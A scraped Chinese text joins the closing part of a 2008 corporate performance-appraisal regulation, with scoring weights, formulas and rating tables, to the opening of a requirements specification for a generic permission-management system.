@#@当目前指标库中缺乏与当前工作内容相关联的指标时，应当根据实际情况另行设定指标并充实到指标库中。

@#@关键业绩指标（KPI指标）和工作目标指标（GS指标）最多不能超过5个。

@#@设定关键业绩指标时要注意指标是一般指标、控制指标还是否决指标，它们在考核评分时有不同的计算办法，在指标库中备注栏内没有任何标注的即是一般指标，其它指标已标明。

@#@@#@

（二）周边绩效和工作态度考核指标的设定@#@其考核内容已经设定，各部门只需根据阶段工作目标设定各考核内容的权重即可。

@#@@#@（三）工作能力考核指标的设定@#@高、中层管理人员工作能力考核是从人际交往能力、影响力、领导能力、沟通能力和判断和决策能力等五个方面进行的，而一般员工是从沟通能力计划和执行能力、专业技能和知识能力等四个方面进行的。

@#@考核内容已经设定，各部门根据实际情况设定各项内容的权重即可。

@#@@#@（四）考核指标权重设置应注意的事项@#@1、每项指标权重大小的设置应当体现突出重点的原则，要和本部门绩效目标和其岗位职责相结合。

@#@@#@2、每一类指标的各项考核指标权重小计应为100%。

@#@以一般员工的绩效考核为例：

@#@在任务绩效考核中它的权重小计应为100%；@#@同样工作态度和工作能力考核权重小计也应为100%。

@#@@#@六、月度考核@#@月度考核的周期为为每个自然月度；@#@月度考核于每月结束前5个工作日内确定下一月绩效目标，确定月度《任务绩效考核表》（见附件5）；@#@每月结束后5个工作日内完成月度《任务绩效考核表》、月度《周边绩效考核表》（见附件6）、月度《工作态度考核表》（见附件7）的得分评定。

@#@@#@

（一）公司高层管理人员的月度绩效考核@#@1、高层管理人员是指副总经理、财务总监、总工程师和总经济师。

@#@@#@2、各考核内容权重分配。

@#@任务考核占80%，周边绩效考核占20%。

@#@计算公式为：

@#@高管月度考核得分=任务考核得分×@#@80%+周边考核得分×@#@20%。

@#@@#@

（二）公司部室负责人的月度考核@#@1、部室负责人的月度考核即部室负责人业绩考核，包括部门月度业绩考核及周边绩效考核两部分（部室负责人绩效考核中的任务绩效考核也就是部门的业绩考核）。

@#@@#@2、各考核内容权重分配。

@#@月度任务绩效占80%，周边考核占20%。

@#@计算公式为：

@#@部室负责人月度考核得分=任务考核得分×@#@80%+周边考核得分×@#@20%。

@#@@#@（三）公司总部其它员工的月度考核@#@1、月度考核中由两部分组成：

@#@月度业绩考核及工作态度考核。

@#@@#@2、各考核内容权重分配。

@#@月度任务绩效占80%，工作态度占20%。

@#@计算公式为：

@#@公司总部员工月度考核得分=任务绩效考核得分×@#@80%+工作态度考核得分×@#@20%。

@#@@#@（四）项目部领导班子的月度考核@#@1、项目部领导班子成员包括：

@#@项目经理、项目总工。

@#@@#@2、项目经理、项目总工的月度考核由两部分组成：

@#@月度任务绩效考核和周边绩效考核。

@#@@#@3、各考核内容权重分配。

@#@月度任务绩效考核占80%，周边绩效考核占20%。

@#@计算公式为：

@#@项目经理、项目总工月度考核得分=任务考核得分×@#@80%+周边考核得分×@#@20%。

@#@@#@（五）项目部科室负责人的月度考核@#@1、项目部科室负责人包括：

@#@设备科长、供应科长、综合办主任、工程科长、质安科长、计划科长、财务科长、试验室主任；@#@拌合站长、机械队长适用于项目部其它员工绩效考核办法。

@#@@#@2、月度考核中，任务绩效占70%，周边绩效占15%，工作态度考核占15%；@#@计算公式为：

@#@项目部科室负责人月度考核得分=任务绩效考核得分×@#@70%+周边绩效考核得分×@#@15%+工作态度考核得分×@#@15%。

@#@@#@（六）项目部基层员工月度考核@#@1、基层员工的月度考核由两部分组成：

@#@月度业绩绩效考核（任务绩效）及工作态度考核考核；@#@@#@2、各考核内容权重分配。

@#@月度任务绩效占80%，工作态度绩效占20%。

@#@计算公式为：

@#@@#@项目部基层员工月度考核得分=月度任务绩效考核得分×@#@80%+月度工作态度考核得分×@#@20%。

@#@@#@七、年度考核@#@年度考核的周期为每年1月1日至12月31日；@#@年度考核于每年2月前确定年度绩效目标，确定《年度任务绩效考核表》（见附件）；@#@下一年度2月前完成年度《年度任务绩效考核表》、《年度能力绩效考核表》的得分评定。

@#@@#@

（一）公司高层管理人员年度考核@#@任务考核占70%，周边绩效占10%（周边绩效得分按各月周边绩效考核的平均值计算），能力考核占20%；@#@其计算公式为：

@#@高管年度考核得分=高管业绩考核得分×@#@70%+各月度周边绩效得分之和/月数×@#@10%+能力考核得分×@#@20%。

@#@@#@

（二）部室负责人年度考核@#@年度任务绩效占70%，周边绩效占20%，能力考核占10%；@#@其计算公式为：

@#@部室负责人年度考核得=年度任务绩效考核得分×@#@70%+各月度绩效考核得分之和/月数×@#@20%+能力考核得分×@#@10%。

@#@@#@（三）公司总部员工年度考核@#@不同类别的员，其业绩考核、能力考核和态度考核权重不同，见下表：

@#@@#@员工类别@#@业绩权重@#@能力权重@#@态度权重@#@科长@#@70％@#@20％@#@10％@#@技术人员@#@60％@#@30％@#@10％@#@一般职能员工@#@60％@#@20％@#@20％@#@计算公式为：

@#@总部员工年度考核得分=各月度业绩考核得分之和/月数×@#@业绩权重+各月度态度绩效考核得分之和/月数×@#@态度权重+年度能力考核得分×@#@能力权重。

@#@@#@（四）项目部领导班子年度考核@#@项目经理、项目总工年度考核得分=年度任务绩效考核得分×@#@70%+各月度周边绩效得分之和/月数×@#@10%+能力考核得分×@#@20%。

@#@@#@（五）项目部科室负责人年度考核@#@科室负责人月度考核得分=年度任务绩效考核得分×@#@70%+各月度周边绩效得分之和/月数×@#@10%+各月度态度考核得分之和/月数×@#@10%+年度能力考核得分×@#@15%。

@#@@#@（六）项目部基层员工年度绩效考核@#@不同类别的员工、其业绩考核，能力考核与态度考核权重不同，见下表：

@#@@#@员工类别@#@业绩权重@#@能力权重@#@态度权重@#@技术类人员@#@60％@#@30％@#@10％@#@其他员工@#@60％@#@20％@#@20％@#@其计算公式为：

@#@基层员工年度考核得分＝各月度任务绩效考核得分/月数×@#@业绩权重＋各月度态度绩效考核得分/月数×@#@态度权重＋年度能力考核得分×@#@能力权重。

@#@@#@八、绩效考核评分@#@考核评分是一项严肃认真的工作，评分是否客观、公正将直接影响到考核的公信力和真实性，因此，考评者需认真、严肃的执行。

@#@@#@

（一）关键业绩指标（KPI）的量分及计算方法@#@1、一般指标。

@#@一般指标的考核直接得分=实际值/目标值×@#@100（最高不能超过120分）；@#@@#@2、控制指标。

@#@控制指标的考核直接得分=目标值/实际值×@#@100（最高不能超过120分）。

@#@@#@3、否决指标。

@#@否决指标是一种最为严格的指标，是指在工作中不得出现的事项，通常这种事项都带来极大的负面影响或严重后果。

@#@如果在工作中没有出上述事项，那么这项指标得分将是满分，否则归为0分。

@#@@#@加权得分=考核直接分×@#@权重。

@#@@#@每项指标的类别、定义、公式、评分标准及规则已在指标库中明确规定，评分时需严格参照执行。

@#@@#@

（二）周边绩效考核指标的评定及量化见下表@#@评价等级@#@A@#@B@#@C@#@D@#@超出目标@#@达到目标@#@接近目标@#@低于目标@#@分数区间@#@101分-120分@#@86分-100分@#@61分-85分@#@60分以下@#@主动性@#@经常主动去其他部门询问是否有工作协作需要@#@有时去其他部门询问是否有工作协作需要@#@几乎不去其他部门询问是否有工作协作需要@#@从来不去其他部门询问是否有工作协作需要@#@响应时间@#@其他部门/人员提出合理工作协助要求时，每次及时响应@#@其他部门/人员提出合理工作协助要求时，多数及时响应@#@其他部门/人员提出合理工作协助要求时，少数及时响应@#@其他部门/人员提出合理工作协助要求时，从不及时响应@#@解决问题时间@#@尽快协助，解决问题远低于预期时间@#@尽快协助，解决问题在预期时间内@#@协助解决问题超出预期时间@#@对于需协助解决的问题根本不处理@#@信息反馈及时@#@协助工作完成后，每次都及时将完成情况反馈到要求协助部门/人员@#@协助工作完成后，多数能及时将完成情况反馈到要求协助部门/人员@#@协助工作完成后，偶尔能及时将完成情况反馈到要求协助部门/人员@#@协助工作完成后，从来没有及时将完成情况反馈到要求协助部门/人员@#@服务质量@#@其他部门对协助工作结果非常满意@#@其他部门对协助工作结果比较满意@#@其他部门对协助工作结果不太满意@#@其他部门对协助工作结果很不满意@#@（三）员工工作态度考核指标的评定及量化@#@评分等级@#@A@#@B@#@C@#@D@#@超出目标@#@达到目标@#@接近目标@#@低于目标@#@分数区间@#@101分-120分@#@80分-100分@#@60分-79分@#@0分-59分@#@积极性@#@长期坚持学习业务知识；@#@对于额外任务能主动请求并且能高质量完成；@#@工作中善于发现问题，并经常提出新思路和建议。

@#@@#@主动学习业务知识；@#@主动承担一般的额外任务；@#@工作中有时能够提出新的思路和建议@#@偶尔主动学习业务知识；@#@有时主动完成一般额外任务；@#@能提出个别的新思路和建议@#@基本上不主动学习业务知识；@#@很少主动请求承担额外任务；@#@不能提出新思路和建议@#@协作性@#@主动协助同事出色的完成工作@#@能够与同事保持良好的合作关系，协助完成工作@#@根据同事的请求能够提供一般协助@#@不能积极响应同事的请求或者协作任务的完成质量较差@#@责任心@#@工作有很强的责任心@#@工作有较强的责任心@#@工作有一定的责任心@#@工作责任心不强@#@纪律性@#@能够长期严格遵守工作规定与标准，有非常强的自觉性和纪律性@#@能够遵守工作的规定和标准，有较强的自觉性和纪律性@#@基本能够遵守工作规定和标准，基本能够遵守纪律，但有时出现自我要求不严的情况@#@不能遵守工作规定和标准，经常发生违规情况，自觉性和纪律性差@#@（四）高中层管理人员能力考核指标的评定及量化@#@评分等级@#@A@#@B@#@C@#@D@#@超出目标@#@达到目标@#@接近目标@#@低于目标@#@分数区间@#@101分-120分@#@80分-100分@#@60分-79分@#@0分-59分@#@人际交往能力@#@容易与他人建立可信赖的积极发展的长期关系@#@能够与他人建立可信赖的长期关系@#@较为自我，不易与他人建立长期关系@#@刚愎自用,不易与他人相处，自我封闭@#@影响力@#@能积极影响他人的思维方式和努力方向@#@能以自己积极的言行带领大家努力工作@#@有时能影响他人@#@对他人几乎无影响力@#@领导能力@#@能合理评价他人的技能和绩效，使下属心服口服，并能使下属明确努力方向@#@能较为合理的评价他人的技能和绩效，指出其不足@#@能够按公司要求对他人作评估@#@无法正确评估他人@#@沟通能力@#@简明扼要，具有出色的沟通技巧，易于理解@#@抓住要点，表达意图，陈述意见，不太需要重复说明@#@语言欠清晰，但尚能表达意图，有时需反复解释@#@含糊其词，意图不明@#@判断与决策能力@#@能透过现象看本质，把握组织面临的挑战和机会，兼顾短期和长远目标@#@能够根据现状，了解组织面临的挑战和机会@#@主要忙于事务性工作，有时也会注意公司的前景和对策等问题@#@对公司的将来不太关心，也不注意工作上可能出现的机会和挑战@#@（五）一般员工能力考核指标的评定及量化@#@评分等级@#@A@#@B@#@C@#@D@#@超出目标@#@达到目标@#@接近目标@#@低于目标@#@分数区间@#@101分-120分@#@80分-100分@#@60分-79分@#@0分-59分@#@沟通理解能力@#@表达能力出色，工作中和领导及同事沟通顺畅；@#@能完全理解领导的意图；@#@能完全理解岗位的职责和分配的任务@#@表达能力一般但工作中和领导及同事沟通没有问题；@#@工作中能理解领导的意图和岗位的职责和分配的任务@#@工作中和领导及同事沟通有时会出现问题；@#@基本能理解领导的意图和岗位的职责和分配的任务@#@刚愎自用,不易与他人相处，自我封闭@#@计划和执行能力@#@个人工作计划安排合理，上级安排任务及时完成，工作效率高，成果出色@#@个人工作计划安排合理，上级安排任务及时完成，工作成果令人满意@#@工作是由个人计划，上级安排任务基本能按时完成，但结果还有些不尽人意@#@对他人几乎无影响力@#@专业技能@#@业务水平高超，理论功底和技术水平扎实，并能得到领导和同事的一致认可@#@业务水平能达到岗位要求，能够完成上级安排的各项岗位职责范围内的工作@#@业务水平基本能达到岗位要求，但仍需一定的努力才能完全胜任该岗位工作@#@无法正确评估他人@#@学习能力@#@能够积极的学习各方面的知识，注重不断提高自己的能力，遇到问题虚心向别人请教，能不断的积累经验@#@认真学习工作所需的专业知识和岗位技能，并在工作中能不断总结提高解决实际问题的能力@#@能够学习工作中所需的专业知识和岗位技能，参加公司组织的培训，培训的考察能够通过，但是主动性不够，涉猎面不广@#@含糊其词，意图不明@#@九、附则@#@绩效管理流程和有关申诉及受理的事项依《绩效管理制度》执行。

@#@@#@本细则由人力资源部负责解释。

@#@@#@二00八年二月二十八日@#@ @#@@#@";i:

2;s:

25696:

"权限管理系统需求分析@#@权限管理系统@#@产品需求规格说明书@#@@#@ @#@@#@引言@#@权限管理是许多大型信息管理系统中不可缺少的部分，它的内容对于管理者和使用者来说都至关重要，对于总管理者默认拥有系统的所有权限，其他不同层次的管理者应根据其角色和实际需要的不同设置各自权限以使各部门都各司其职，对于普通用户注册后同样根据其所选角色分配给其相应的权限，既实现系统信息最大限度的封装并切实满足用户的需求。

@#@此系统可以为管理者和用户分配不同的权限和提供快捷的信息处理手段。

@#@@#@权限管理系统是一个小型的信息管理系统，其开发主要包括后台数据库的建立与维护以及前端应用程序的开发两个方面。

@#@对于前者设计要求建立起数据一致性和完整性强、数据安全性好的数据库，而对于后者则要求应用程序功能基本完备，易使用等特点。

@#@@#@目的@#@文档目的：

@#@本文档对通用权限管理系统的总体设计、接口设计、界面总体设计、数据结构设计、系统出错处理设计以及系统日志信息数进行了说明。

@#@@#@软件设计的目的：

@#@是对应用系统的所有资源进行权限控制，比如应用系统的功能菜单、各个界面的按钮控件等进行权限的操控，通过一个通用的权限系统来满足不同的系统用户的需求。

@#@@#@范围@#@该系统适用于各种应用系统，对用户访问系统的权限进行管理和分配。

@#@对于总管理者默认拥有系统的所有权限，其他不同层次的管理者应根据其角色和实际需要的不同设置各自权限以使各部门都各司其职。

@#@例如图书馆管理系统，可设置多种角色，给每种角色设置不同的权限，当用户第一次进入系统时，给用户分配角色之后，该角色相应的权限会被赋给用户。

@#@@#@使用该系统可以高效省时地给各不同用户分配使用应用系统的权限。

@#@而以往的每个应用系统都要重新对系统的权限进行设计，以满足不同系统用户的需求，浪费开发者不少宝贵时间。

@#@@#@读者对象@#@预期读者@#@阅读重点@#@用户@#@开发人员@#@总体设计、接口设计、数据结构设计、界面总体设计、系统出错处理设计@#@分析人员@#@总体设计、接口设计、数据结构设计、界面总体设计、系统出错处理设计@#@设计人员@#@总体设计、接口设计、数据结构设计、系统安全设计@#@参考文档@#@列出本文档的所有参考文献（可以是非正式出版物），格式如下：

@#@@#@[标识符]作者，文献名称，出版单位（或归属单位），日期@#@术语与缩写解释@#@缩写、术语@#@解释@#@系统名称@#@权限管理系统@#@…@#@产品介绍@#@产品用途：

@#@权限管理系统是对用户使用应用系统的所有资源进行权限控制，比如应用系统的功能菜单、各个界面的按钮控件等进行权限的操控，对每个应用系统都重新对系统的权限进行设计，以满足不同系统用户的需求。

@#@例如员工管理系统，公务人员办公系统，图书馆管理系统，火车票订购系统，通讯录等各种应用系统。

@#@@#@开发背景：

@#@对于每一个应用系统都重新对系统的权限进行设计，以满足不同系统用户的需求，将会浪费我们不少宝贵时间，如何能够即节省时间用能够有效的实现系统用户的权限分配，是一个十分现实的问题。

@#@@#@基于这个问题，设计了权限管理系统，通过对应用系统的所有资源进行权限控制，进行权限操作，就能够满足用户的需求。

@#@所以花时间来设计一个相对通用的权限系统是很有意义的。

@#@@#@产品面向的用户群体@#@该权限管理系统对于任何用户都是适用的，例如公司、学校、各种企事业单位、机构等。

@#@用户可以通过本系统对其系统的访问权限进行设置和管理，是一个即有效又十分节省的应用系统。

@#@@#@产品应当遵循的标准和规范@#@该产品应当遵循c#的编码规范和数据库的设计规范@#@Ø@#@C#的编码规范（如下面列举数项，及其他有关规则）：

@#@@#@1）Pascal类型，所有单词第一字母大写，其他字母小写；@#@Camel形式，除了第一个单词，所有单词第一个字母大写，其他字母小写，变量和方法参数大小写形式使用Camel形式；@#@@#@2）多数程序员喜欢把数据类型作为变量名的前缀，而m＿作为成员变量的前缀；@#@@#@3）一般用有意义的，描述性的词语来命名变量，不用缩写；@#@@#@4）变量名中不使用下划线，而命名空间需要按照标准的模式命名，文件名和类名要匹配；@#@@#@5）缩进和间隔缩进用TAB，不用SPACE；@#@@#@6）注释需和代码行对齐，花括号（{}）需和括号外的代码对齐；@#@用一个空行来分开代码的逻辑分组；@#@@#@7）在一个类中，各个方法需要用一个空行分开，花括号需要独立一行，而不像if,for等可以在同一行；@#@@#@8）在每个运算符和括号的前后都要有一个空格。

@#@@#@Ø@#@数据库设计规范（如下面列举数项，及其他有关规则）：

@#@@#@1）确保数据正确分配到数据库的表中，使用正确的数据结构，便于对数据库的各种操作；@#@@#@2）对数据表的设计要合理，减少数据冗余，选取合理的范式消除部分依赖；@#@@#@3）数据表的查找、修改、删除要严格遵循数据库的语法操作规则；@#@@#@4）对数据库设计合理的异常处理。

@#@@#@产品的功能性需求@#@功能列表@#@编号@#@名称@#@简述@#@1@#@系统管理@#@1.1@#@模块管理@#@主要用于管理菜单栏目@#@1.2@#@权限管理@#@用户根据模块添加权限@#@1.3@#@角色管理@#@主要管理系统中所有的角色，并且，分配每一个角色拥有的权限@#@1.4@#@用户管理@#@主要管理系统中的人员信息@#@1.5@#@部门管理@#@部门信息的维护与管理@#@1.6@#@系统设置@#@它是对系统显示的风格、文字、图片等信息的设置与管理@#@1.7@#@错误日志@#@系统自己监控，如果在操作的过程中出现错误，就将其记录下来@#@1.8@#@系统日志@#@记录各个用户或管理员对系统操作的时间和事件@#@1.1.1功能需求@#@权限管理系统是一个常用的数据库应用程序，主要由模块管理、权限管理、角色管理、用户管理、部门管理等功能模块组成：

@#@@#@Ø@#@模块管理：

@#@系统分多个模块，树状管理@#@Ø@#@权限管理：

@#@界面级、按钮级、数据级@#@✩界面级权限：

@#@不同权限的人登陆同个系统看到的是不同的界面@#@✩按钮级权限：

@#@不同权限的人看到不同的按钮@#@✩数据级权限：

@#@不同权限的人点相同的按钮得到不同的界面@#@Ø@#@角色管理：

@#@可以给角色添加权限、删除权限@#@Ø@#@用户管理：

@#@对于系统内的用户进行设置，添加、修改、删除用户@#@Ø@#@部门管理：

@#@添加、修改、删除、查找，以树状形式显示@#@Ø@#@系统设置：

@#@修改系统名称、系统Logo、公司名称@#@Ø@#@错误日志：

@#@系统自己监控，系统出错时自动记录@#@Ø@#@系统日志：

@#@记录某人在某时对系统做了某一种操作@#@<@#@模块管理>@#@@#@模块管理：

@#@主要管理该系统中有哪些模块，可以根据各个模块的功能不同设置相应不同的权限点。

@#@@#@1.添加模块——添加一个新的模块并设置其相关属性信息；@#@@#@2.修改模块信息——对模块的名称、模块描述等信息进行修改和保存；@#@@#@3.删除模块——删除一个无用的模块；@#@@#@4.查看模块——查看某模块的相关属性信息；@#@@#@5.查询模块——单击模块名称查询对应的模块。

@#@@#@1.1.2功能描述@#@功能需求@#@功能名称@#@模块管理@#@优先级@#@高@#@业务背景/功能描述@#@系统需要根据各个模块添加权限点，以方便后面对不同用户对不同的模块有不同的操作权限。

@#@@#@功能说明@#@用户可以给系统添加树状结构的模块，在权限管理中可以说明各个模块所具有的权限点。

@#@@#@约束条件@#@管理员可以完成。

@#@@#@业务表单@#@（输入表单和输出表单）@#@表单序号@#@表单名称@#@方向（输入/输出）@#@备注@#@相关查询@#@可按照模块名称进行查询。

@#@@#@需求要点@#@管理员登录后在权限管理菜单下选取模块管理。

@#@在模块管理表单中可以通过点击模块名称查看各模块的相关信息并对其进行修改操作；@#@管理员还可根据需求增添、删除模块。

@#@@#@1.1.3数据描述@#@【输入数据】@#@数据类别@#@数据项（可编辑项或导入）@#@模块@#@模块编码，模块名称，模块创建人编码，模块创建时间，父模块编码，模块编号，模块描述。

@#@@#@【输出数据】@#@数据类别@#@数据项（不可编辑项或计算结果）@#@模块编码（ModelId）@#@Int@#@模块名称（ModelName）@#@Varchar@#@模块创建人编码（ModelCreatorId）@#@Int@#@模块创建时间（ModelCreateTime）@#@Datatime@#@父模块编码（ModelParentId）@#@Int@#@模块编号（ModelCode）@#@Varchar@#@模块描述（ModelDescribe）@#@Varchar@#@【关键数据项描述】@#@数据项@#@类型@#@长度@#@取值范围@#@补充说明@#@模块编码@#@Int@#@数字@#@例：

@#@123@#@模块名称@#@Varchar@#@100@#@汉字、数字、字母@#@例：

@#@张三123AB@#@模块创建人编码@#@Int@#@数字@#@例：

@#@123@#@模块创建时间@#@Datatime@#@日期时间@#@例：

@#@2011-10-1117:

@#@54@#@父模块编码@#@Int@#@数字@#@例：

@#@123@#@模块编号@#@Varchar@#@50@#@汉字、数字、字母@#@例：

@#@张三123AB@#@模块描述@#@Varchar@#@200@#@汉字、数字、字母@#@例：

@#@张三123AB@#@1.1.4界面描述@#@【界面说明】@#@图5.2.1模块管理主界面@#@模块管理：

@#@它分为添加模块、删除模块、修改模块信息、查看等功能；@#@@#@删除模块：

@#@将选中的该条数据删除；@#@@#@添加用户：

@#@添加一条数据，需要打开一个界面填写好，然后添加；@#@@#@查询：

@#@点击模块名称查询模块的基本信息；@#@@#@查询结果：

@#@显示查询结果；@#@@#@修改：

@#@选中需要修改的对象，修改后点击“修改模块信息”按钮完成。

@#@@#@*注释：

@#@此页面是点击模块管理后进入的页面，正上方显示着“模块管理”字样；@#@左上方有模块树，点击其中模块名称，在右边显示其基本信息，正下方以列表的形式列出了模块信息的详细信息（模块编码、模块名称、父模块编码、模块创建人编号、模块创建时间）；@#@列表上方显示页面按钮；@#@点击“添加模块”按钮弹出隐藏的添加界面（如下图），填写信息保存。

@#@选中某一条记录点击删除模块，删除该条记录。

@#@选中需要修改的模块，修改完信息后点击“修改模块信息”按钮保存。

@#@@#@*注释：

@#@此页面是在点击“添加模块”按钮后出现的添加页面（上图右上方显示为隐藏的添加页面），以可编辑文本框形式列出了模块编号（系统自动生成编号）、模块名称、父模块编号、模块描述，最下方有“添加”、“取消”按钮。

@#@@#@【操作流程说明】@#@管理员登录系统----->@#@权限管理------>@#@模块管理---->@#@查询@#@---->@#@添加模块@#@---->@#@修改模块信息@#@---->@#@删除模块@#@1.1.5算法描述@#@无@#@用户管理@#@用户管理：

@#@对于系统内的用户进行设置，添加、修改、删除用户@#@查询：

@#@输入关键字类型和关键字，查找管理员要看的用户信息；@#@@#@删除：

@#@将选中的用户数据删除。

@#@@#@添加用户：

@#@添加一个新用户，弹出添加用户界面，填写相关信息然后添加。

@#@@#@查看：

@#@根据查询条件查看选中的用户信息。

@#@@#@修改：

@#@浏览选中的该条用户，修改后，按保存提交。

@#@@#@1.1.6功能描述@#@功能需求@#@功能名称@#@用户管理@#@优先级@#@高@#@功能描述@#@系统需要对系统中的用户进行管理，对不同的用户根据其职能的不同进行分类，对其角色及权限进行设置，使其行使其不同的职责。

@#@@#@功能说明@#@针对系统中人员信息的不同进行管理，可以进行用户添加、显示查询、查看、修改、删除等。

@#@@#@约束条件@#@管理员可行使用户管理。

@#@@#@业务表单@#@表单序号@#@表单名称@#@方向（输入/输出）@#@备注@#@相关查询@#@需求要点@#@管理员登陆后点击用户管理即可进入用户管理的页面，对用户数据进行查看、修改、添加、删除和导入导出。

@#@选中某用户可查看该用户的详细信息或进行修改，点击页面上对应的按钮即可进行添加用户、删除用户等操作。

@#@@#@1.1.7数据描述@#@【输入数据】@#@数据类别@#@数据项（可编辑项或导入）@#@模块@#@用户编码，用户部门编码，用户岗位编码，用户名，用户创建时间，用户创建人编码，用户部门编号，用户描述，部门编号@#@【输出数据】@#@数据类别@#@数据项（不可编辑项或计算结果）@#@用户名（UserName）@#@varchar（100）@#@用户编码（UserId）@#@Int@#@用户部门编码（UserDeptId）@#@Int@#@用户岗位编码（UserPositionId）@#@Int@#@用户创建时间（UserCreateTime）@#@datetime@#@用户创建人编码（UserCreatorId）@#@Int@#@用户部门编号（UserDeptCode）@#@varchar（100）@#@用户描述（UserDescribe）@#@varchar（100）@#@部门编号（DeptId）@#@Int@#@【关键数据项描述】@#@数据项@#@类型@#@长度@#@取值范围@#@补充说明@#@用户名@#@varchar@#@100@#@汉字、数字、字母@#@例：

@#@张三123AB@#@用户编码@#@Int@#@数字@#@例：

@#@123@#@用户部门编码@#@Int@#@数字@#@例：

@#@123@#@用户岗位编码@#@Int@#@数字@#@例：

@#@123@#@用户创建时间@#@datetime@#@日期时间@#@例：

@#@2011-10-1117:

@#@54@#@用户创建人编码@#@Int@#@数字@#@例：

@#@123@#@用户部门编号@#@varchar@#@100@#@汉字、数字、字母@#@例：

@#@张三123AB@#@用户描述@#@varchar@#@100@#@汉字、数字、字母@#@例：

@#@张三123AB@#@部门编号@#@Int@#@数字@#@例：

@#@123@#@1.1.8界面设计@#@【界面说明】@#@用户管理：

@#@它分为添加用户、删除用户、按查询条件查询、修改等功能；@#@@#@删除：

@#@将选中的该条数据删除；@#@@#@添加用户：

@#@添加一条数据，需要打开一个界面填写好，然后添加；@#@@#@查询：

@#@根据查询条件查询用户的基本信息；@#@@#@查询结果：

@#@显示查询结果；@#@@#@修改：

@#@点击需要修改对象的修改按钮，弹出新界面，修改后保存。

@#@@#@用户角色管理：

@#@点击需要管理对象的用户角色管理按钮，弹出新界面，修改后保存。

@#@@#@*注释：

@#@此页面是点击用户管理后进入的页面，正上方显示着“用户管理”字样；@#@左上方有“查询条件”选择或输入查询条件点击“查询”按钮；@#@正下方以列表的形式列出了查询结果的用户列表及基本信息（用户编码、用户名称、部门编码、创建人、创建时间、用户角色管理、修改操作）；@#@列表上方显示页面按钮；@#@点击“添加用户”按钮弹出添加用户界面，填写信息保存。

@#@选中某一条记录点击删除用户，删除该条记录。

@#@点击“修改”按钮弹出修改界面，修改用户信息后保存。

@#@点击“用户角色管理”按钮弹出用户角色管理界面，设置用户角色后保存。

@#@@#@图5.6.2添加，查看，修改用户信息表界面@#@*注释：

@#@此页面是在点击添加用户按钮后显示的页面，下方以可编辑文本框形式列出了用户编号、用户名称；@#@以选择框的形式列出了所属部门；@#@最下方有“添加用户”、“取消”、“修改用户”按钮。

@#@@#@*注释：

@#@此页面是在点击某用户的用户角色管理按钮后显示的页面，设置用户角色有添加用户角色、删除用户角色、查询，下方显示查询结果。

@#@选中某条信息点击删除用户角色按钮可删除该条信息，或点击添加用户角色按钮添加用户角色。

@#@@#@【操作流程说明】@#@管理员登录系统-----》基本信息管理------》用户管理----》查询@#@----》修改@#@----》删除用户@#@----》添加用户@#@----》用户角色管理@#@1.1.9算法描述@#@无@#@<@#@权限管理>@#@@#@权限管理：

@#@主要根据用户角色所具有的权限点对该用户访问页面的权限进行控制。

@#@@#@权限分配原则：

@#@@#@◆用户的权限分配应尽量参考系统提供的角色划分。

@#@如果需要特殊的操作权限定制，应在准确理解其各项操作的基础上，经试验调试成功后再赋予相应的直报用户。

@#@设置中应尽量避免和减少权限相互抵触、交叉及嵌套情况的发生。

@#@@#@◆分配范围仅对其直接监测管理部门的用户分配，可分配查看和数据导出的使用权限。

@#@@#@◆对于其它相关的业务部门，在权限分配中应回避其对个案数据的任何操作，可以对统计加工后数据及信息资料进行创造性的利用。

@#@@#@1.1.10功能描述@#@功能需求@#@功能名称@#@权限管理@#@优先级@#@高@#@业务背景/功能描述@#@权限管理：

@#@主要根据用户角色所具有的权限点对该用户访问页面的权限进行控制。

@#@@#@功能说明@#@主要管理系统中所有的权限，并联合角色管理控制各个功能模块的访问权限。

@#@@#@约束条件@#@管理员可以完成。

@#@@#@业务表单@#@（输入表单和输出表单）@#@表单序号@#@表单名称@#@方向（输入/输出）@#@备注@#@相关查询@#@可根据权限编号、权限Key值、权限名称等进行查询。

@#@@#@需求要点@#@管理员登录后在系权限管理菜单下选取权限管理，在权限管理表单中可以根据查询条件（权限编号、权限Key值、权限名称）点击“查询”按钮进行查询，并可对该项权限进行修改、删除等操作，还可单击“添加权限”按钮进行权限添加。

@#@@#@1.1.11数据描述@#@【输入数据】数据类别@#@数据项（可编辑项或导入）@#@权限@#@权限编码、模块编码、权限名称、权限创建人编码、权限创建时间、权限Key值、权限模块编号、权限描述、部门编码@#@【输出数据】@#@数据类别@#@数据项（不可编辑项或计算结果）@#@权限编码（RightId）@#@int@#@模块编码（ModelId）@#@int@#@权限名称（RightName）@#@varchar（100）@#@权限创建人编码（RightCreatorId）@#@int@#@权限创建时间（RightCreateTime）@#@datetime@#@权限Key值（RightKey）@#@varchar（100）@#@权限模块编号（RightModelCode）@#@varchar（100）@#@权限描述（RightDescribe）@#@varchar（100）@#@部门编码（DeptId）@#@int@#@【关键数据项描述】@#@数据项@#@类型@#@长度@#@取值范围@#@补充说明@#@权限编码@#@int@#@数字@#@例：

@#@123@#@模块编码@#@int@#@数字@#@例：

@#@123@#@权限名称@#@varchar@#@100@#@汉字、数字、字母@#@例：

@#@张三123AB@#@权限创建人编码@#@int@#@数字@#@例：

@#@123@#@权限创建时间@#@datetime@#@日期时间@#@例：

@#@2011-10-1117:

@#@22@#@权限Key值@#@varchar@#@100@#@汉字、数字、字母@#@例：

@#@张三123AB@#@权限模块编号@#@varchar@#@100@#@汉字、数字、字母@#@例：

@#@张三123AB@#@权限描述@#@varchar@#@100@#@汉字、数字、字母@#@例：

@#@张三123AB@#@部门编码@#@int@#@数字@#@例：

@#@123@#@1.1.12界面描述@#@【界面说明】@#@图5.4.1权限管理主界面@#@权限管理：

@#@权限管理的功能分别有添加权限、查询、修改、删除权限等。

@#@@#@删除：

@#@选中某条数据单击“删除权限”按钮删除；@#@@#@添加权限：

@#@添加一条数据，需要打开一个界面填写好，然后添加；@#@@#@查询：

@#@根据查询条件查询权限的基本信息；@#@@#@查询结果：

@#@显示查询结果；@#@@#@修改：

@#@点击需要修改对象的修改按钮，弹出新界面，修改后保存。

@#@@#@注释：

@#@@#@界面级权限：

@#@指不同权限的人登陆同个系统看到的是不同的界面；@#@@#@按钮级权限：

@#@指不同权限的人看到不同的按钮；@#@@#@数据级权限：

@#@指不同权限的人点相同的按钮得到不同的界面。

